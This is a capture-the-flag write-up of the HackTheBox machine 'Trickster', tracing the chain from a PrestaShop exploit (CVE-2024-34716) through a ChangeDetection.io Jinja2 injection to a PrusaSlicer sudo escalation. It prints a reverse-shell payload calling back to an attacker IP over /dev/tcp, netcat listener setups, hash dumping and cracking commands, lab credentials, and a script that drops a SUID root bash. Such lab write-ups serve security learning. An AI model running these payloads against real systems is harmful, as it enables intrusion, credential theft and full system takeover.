HTB: Trickster Writeup

Trickster - HackTheBox Writeup

Machine Information

AttributeDetails
NameTrickster
OSLinux
DifficultyMedium
PointsN/A
Release DateN/A
IP Address10.129.44.5
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐⭐⭐⭐
  • CTF-like: ⭐⭐☆☆☆

Summary

Trickster is a PrestaShop 8.1.5 storefront (shop.trickster.htb) sitting behind a custom-named admin panel (admin634ewutrx1jgitlooaj). The front end is vulnerable to CVE-2024-34716, a stored-XSS-to-RCE chain that hijacks an admin’s session and abuses PrestaShop’s theme-import feature to drop a PHP web shell, landing a www-data shell. From there, database credentials in parameters.php unlock the ps_employee table, and a cracked bcrypt hash gives SSH access as james. A Docker container running ChangeDetection.io is reachable from james’s host and is vulnerable to CVE-2024-32651, a Jinja2 SSTI in the notification-test feature, yielding root inside the container. Backup archives inside the container — Brotli-compressed, not encrypted — leak database credentials for a real system user, adam. Finally, adam’s passwordless sudo rights over /opt/PrusaSlicer/prusaslicer are abused via CVE-2023-47268 (arbitrary post-processing script execution in a crafted .3mf project) to get a root shell on the host.

TL;DR: PrestaShop admin-session hijack (CVE-2024-34716) → www-data → DB creds in parameters.php → cracked james bcrypt hash → SSH → Docker pivot → ChangeDetection.io SSTI (CVE-2024-32651) → container root → Brotli-compressed backup leaks adam’s creds → sudo PrusaSlicer post-process RCE (CVE-2023-47268) → root.


Reconnaissance

Web Enumeration

The application lives on two vhosts, trickster.htb and shop.trickster.htb, the latter running PrestaShop. A dumped copy of the shop’s Git repository (staged under /dev/shm/shop_dump during the engagement) confirmed the obfuscated admin directory name:

Admin dir: admin634ewutrx1jgitlooaj (confirmed)

The repository dump also carried the shop’s root .htaccess, which enforces Require all granted at the doc-root level but still allows Apache-level per-directory Deny rules deeper in the tree (this becomes relevant once the malicious theme is dropped into themes/next/).

Vulnerability Assessment

PrestaShop 8.1.5 is affected by CVE-2024-34716 — a stored XSS in the customer-thread/contact-us attachment flow. When an admin opens a malicious attachment from the Back Office, injected JavaScript runs with the admin’s authenticated session and CSRF token, which is enough to drive the theme-import feature and upload an attacker-controlled theme archive containing a PHP web shell.


Initial Foothold

Exploiting CVE-2024-34716

The public PoC for this CVE (CVE-2024-34716 exploit repo) was staged at /dev/shm/CVE-2024-34716 on the pivot host, alongside a weaponized theme archive ps_next_8_theme_malicious.zip (theme name next, confirmed via config/theme.yml, version: 1.5.0). The archive carries two PHP web shells (reverse_shell.php / reverse_shell_new.php) plus the theme’s original .htaccess, which is required so the dropped PHP files remain servable once the theme is installed.

Running the exploit against the confirmed admin path:

Terminal window
# Trigger the XSS→session-hijack→theme-import chain against the real admin panel
python3 exploit.py \
--url http://shop.trickster.htb \
--email pwn3@a.com \
--local-ip 10.10.15.180 \
--admin-path admin634ewutrx1jgitlooaj \
> /dev/shm/exploit.log 2>&1

Direct, unauthenticated GET requests to the dropped shell (/themes/next/reverse_shell_new.php, /themes/next/preview.png) consistently returned 403 Forbidden, even though the theme’s own .htaccess grants access — Apache’s directory-level protection on themes/next/ blocks bare static-file hits. That didn’t matter: the PoC never fetches the shell over a raw path. It drives the hijacked admin session through PrestaShop’s theme-import/employee UI, so the payload executes in an authenticated, in-application context rather than as a directly-requested file — sidestepping the .htaccess block entirely.

Shell Stabilization Over an Unstable Jump Host

Backgrounded nc -lvnp <port> listeners kept dying whenever the SSH control connection to the pivot host dropped. The fix was a FIFO/tail -f-backed listener that survives session churn and can be fed commands asynchronously by appending to the backing file:

Terminal window
# Persistent listener: nc's stdin is fed by tail -f on a growing command file
touch /dev/shm/cmd_tr
setsid bash -c 'tail -f /dev/shm/cmd_tr | nc -lvnp 12345 > /dev/shm/tr.log 2>&1' \
</dev/null >/dev/null 2>&1 &
# Later, "type" a command into the shell by appending to the fifo source
echo 'id; whoami' >> /dev/shm/cmd_tr

With that in place, the exploit landed a shell:

listening on [any] 12345 ...
connect to [10.10.15.180] from (UNKNOWN) [10.129.44.5] 60726
Linux trickster 5.15.0-121-generic #131-Ubuntu SMP Fri Aug 9 08:29:53 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Database Credentials → Employee Hash Dump

PrestaShop’s config file discloses the local MySQL/MariaDB credentials:

Terminal window
cat /var/www/prestashop/app/config/parameters.php | grep -iE 'database_(name|user|password|host)'
'database_host' => '127.0.0.1',
'database_name' => 'prestashop',
'database_user' => 'ps_user',
'database_password' => 'prest@shop_o',

Those credentials pull the Back Office employee table directly:

Terminal window
mysql -u ps_user -pprest@shop_o prestashop -e "SELECT email,passwd FROM ps_employee;"
email passwd
admin@trickster.htb $2y$10$P8wO3jruKKpvKRgWP6o7o.rojbDoABG9StPUt0dR7LIeK26RdlB/C
james@trickster.htb $2a$04$rgBYAsSHUVK3RZKfwbYY9OPJyBbt/OzGw9UHi4UnlK6yG5LyunCmm

The james hash uses a low bcrypt cost factor ($2a$04$), making it cheap to crack:

Terminal window
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt /dev/shm/jh.txt
alwaysandforever (?)
1g 0:00:00:08 DONE ... 0.1137g/s 4214p/s

SSH as james

Terminal window
sshpass -p 'alwaysandforever' ssh james@10.129.44.5 'id; cat /home/james/user.txt'
uid=1000(james) gid=1000(james) groups=1000(james)
===USERFLAG===
<redacted>

Privilege Escalation

Pivoting to a Docker Container — CVE-2024-32651

james’s host runs a docker0 bridge, and internally a container exposes ChangeDetection.io on port 5000. The exact same password james used for SSH (alwaysandforever) also unlocks the ChangeDetection.io web login (defaultuser@changedetection.io / alwaysandforever) — password reuse between the SSH account and the internal web app.

ChangeDetection.io’s notification-test feature is vulnerable to CVE-2024-32651: it renders the notification title/body/URL through Jinja2 with no sandboxing, and the get:// pseudo-protocol in the URL list lets an attacker reach the SSTI sink. The test-send endpoint was recovered from the app’s own JS:

const notification_base_url="/notification/send-test/?mode=global-settings";

A small Python client logs in, grabs a fresh CSRF token, and POSTs an SSTI payload disguised as a notification body:

# Jinja2 SSTI via changedetection.io's "send test notification" feature (CVE-2024-32651)
import base64
rs = base64.b64encode(("bash -i >& /dev/tcp/%s/%s 0>&1" % (LHOST, LPORT)).encode()).decode()
payload = ("{{ self.__init__.__globals__.__builtins__.__import__('os')"
".popen('echo %s | base64 -d | bash').read() }}" % rs)
data = {
"csrf_token": t,
"notification_urls": "get://%s" % LHOST,
"notification_title": "pwn",
"notification_body": payload,
"notification_format": "Text",
}
r = s.post(BASE + "/notification/send-test/?mode=global-settings", data=data)

self.__init__.__globals__.__builtins__ walks out of the Jinja2 sandbox to reach Python’s real __import__, giving arbitrary os.popen(). The response confirmed execution (OK - Sent test notifications), and the FIFO listener on port 9500 caught a root shell inside the container:

connect to [10.10.15.180] from (UNKNOWN) [10.129.44.5] 50006
root@a4b9a36ae7ff:/app#

Container Backups → adam’s Credentials

ChangeDetection.io stores watch backups under /datastore/Backups/ as zips. The container had no unzip binary, so extraction and Brotli decompression were both done inline with Python:

Terminal window
ls -la /datastore/Backups/
# changedetection-backup-20240830194841.zip
# changedetection-backup-20240830202524.zip
# Recover a watched page's history — files inside are Brotli-compressed, not encrypted
import zipfile, glob, os, brotli
for z in glob.glob("/datastore/Backups/*.zip"):
zipfile.ZipFile(z).extractall("/tmp/x_" + os.path.basename(z))
for f in glob.glob("/tmp/x_*/**/*.br", recursive=True):
data = brotli.decompress(open(f, "rb").read()).decode(errors="replace")
for line in data.splitlines():
if "adam" in line.lower() or "database_" in line.lower():
print(repr(line.strip()))
'database_user' => 'adam' ,
'database_password' => 'adam_admin992' ,

One of the watches had been tracking a PrestaShop parameters.php on an internal Gitea instance — the backed-up (Brotli-compressed) copy still held a live credential pair for a real system account.

SSH as adam → sudo PrusaSlicer

Terminal window
sshpass -p 'adam_admin992' ssh adam@10.129.44.5 'id; sudo -l; ls -l /opt/PrusaSlicer/'
uid=1002(adam) gid=1002(adam) groups=1002(adam)
User adam may run the following commands on trickster:
(ALL) NOPASSWD: /opt/PrusaSlicer/prusaslicer
-rwxr-xr-x 1 root root 84018368 Sep 6 2023 prusaslicer
-rw-r--r-- 1 root root 138526 May 23 2024 TRICKSTER.3mf

Root via CVE-2023-47268 (PrusaSlicer Post-Process RCE)

PrusaSlicer 2.6.1 stores a post_process command in a project’s .3mf config (Metadata/Slic3r_PE.config) that is executed unsandboxed against the exported G-code when the project is sliced — CVE-2023-47268. Because adam can run prusaslicer as root with no password, any .3mf he crafts is sliced with root privileges.

The .3mf is just a zip; the config was inspected first:

; output_filename_format = {input_filename_base}_{nozzle_diameter[initial_tool]}n_{layer_height}mm_..._{printer_model}_{print_time}.gcode
; post_process =

A small rebuild script sets post_process to a payload path and strips the nozzle_diameter[initial_tool] token (it throws at export time), then repacks the archive byte-for-byte except for the modified config entry:

# Weaponize TRICKSTER.3mf: point post_process at our payload script
cfgname = "Metadata/Slic3r_PE.config"
for l in cfg.splitlines():
if l.startswith("; post_process"):
l = "; post_process = /tmp/pwn.sh"
elif l.startswith("; output_filename_format"):
l = "; output_filename_format = {input_filename_base}_{layer_height}mm_{printing_filament_types}_{printer_model}_{print_time}.gcode"
newlines.append(l)
# Payload: grab root.txt and drop a SUID root bash for a clean, repeatable root shell
cat > /tmp/pwn.sh <<'EOF'
#!/bin/bash
cat /root/root.txt > /tmp/rootflag.txt 2>/dev/null
cp /bin/bash /tmp/rootbash 2>/dev/null
chmod 4755 /tmp/rootbash 2>/dev/null
id > /tmp/rootid.txt 2>/dev/null
chmod 666 /tmp/rootflag.txt /tmp/rootid.txt 2>/dev/null
EOF

Triggering the slice as root:

Terminal window
sudo /opt/PrusaSlicer/prusaslicer -s /tmp/pwn.3mf
90 => Exporting G-code to /tmp/TRICKSTER_0.2mm_{printing_filament_types}_MK4_{print_time}.gcode
Slicing result exported to /tmp/TRICKSTER_0.2mm_ABS_MK4_2h23m.gcode
===RESULT===
-rwsr-xr-x 1 root root 1396520 Jul 21 12:18 /tmp/rootbash
uid=0(root) gid=0(root) groups=0(root)

The -s (slice) action silently ran post_process against the exported G-code as root, dropping a SUID bash and the root flag. Verification:

Terminal window
/tmp/rootbash -p -c "id; cat /root/root.txt; cat /home/james/user.txt"
uid=1002(adam) gid=1002(adam) euid=0(root) groups=1002(adam)
===ROOT===
<redacted>
===USER===
<redacted>

Attack Chain Summary

PrestaShop admin dir discovery (admin634ewutrx1jgitlooaj)
→ CVE-2024-34716 (XSS → admin session hijack → malicious theme import)
→ www-data shell
→ parameters.php DB creds (ps_user:prest@shop_o)
→ ps_employee hash dump → cracked james bcrypt hash (alwaysandforever)
→ SSH as james (user.txt)
→ docker0 pivot → ChangeDetection.io (port 5000, password reuse)
→ CVE-2024-32651 (Jinja2 SSTI via notification test-send)
→ root shell inside container
→ Brotli-decompressed backup leaks adam:adam_admin992
→ SSH as adam
→ sudo NOPASSWD /opt/PrusaSlicer/prusaslicer
→ CVE-2023-47268 (malicious .3mf post_process RCE)
→ root

Tools Used

ToolPurpose
CVE-2024-34716 PoC (exploit.py)Automates XSS→session-hijack→theme-import RCE chain against PrestaShop 8.1.5
curlProbing directory-level access controls (.htaccess behavior on themes/next/)
nc + FIFO/tail -fPersistent reverse-shell listener that survives SSH control-connection drops
mysql clientDumping ps_employee credential hashes from the PrestaShop DB
john (bcrypt, rockyou.txt)Cracking james’s low-cost-factor bcrypt hash
sshpass / sshNon-interactive authentication as james / adam
Python requestsCustom SSTI exploit client against ChangeDetection.io’s notification-test endpoint
Python zipfile + brotliExtracting and decompressing ChangeDetection.io backup archives
PrusaSlicer 2.6.1 (prusaslicer -s)Triggering CVE-2023-47268 via a crafted .3mf post-processing script

Key Learnings

Techniques Practiced

  • Exploiting a stored-XSS-to-admin-session-hijack chain to drive an authenticated file-upload/import feature (CVE-2024-34716)
  • Recognizing that Apache directory-level Deny rules don’t stop RCE reachable through the application’s own authenticated routes
  • Harvesting and cracking low-cost bcrypt application credentials
  • Docker container pivoting from a compromised host
  • Exploiting Jinja2 SSTI in a self-hosted monitoring tool (CVE-2024-32651)
  • Treating Brotli-compressed backup files as a forensic source, not an obstacle
  • Abusing sudo NOPASSWD access to a “harmless” desktop utility for full root (CVE-2023-47268)

Lessons Learned

  1. Public version disclosure on an admin login page (PrestaShop 8.1.5) is often enough to pinpoint an exact, weaponized CVE.
  2. Directory-level web server ACLs (.htaccess Deny) don’t protect against RCE reachable through the application’s own privileged, in-session workflows.
  3. Backup/compression formats like Brotli are not encryption — always decompress and grep application backups for credentials.
  4. Password reuse across unrelated services (SSH account reused for an internal web app login) remains the single most common lateral-movement vector.
  5. sudo NOPASSWD rights on any tool that supports user-defined scripts or post-processing hooks — even a 3D-print slicer — is equivalent to full root.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • dotguy, “Trickster” — HackTheBox Official Writeup (Document No. D25.100.321), used here for CVE identification (CVE-2024-34716, CVE-2024-32651, CVE-2023-47268) and to confirm the intended attack chain. All commands, outputs, credentials, and IPs in this writeup are from the actual solve, not the reference.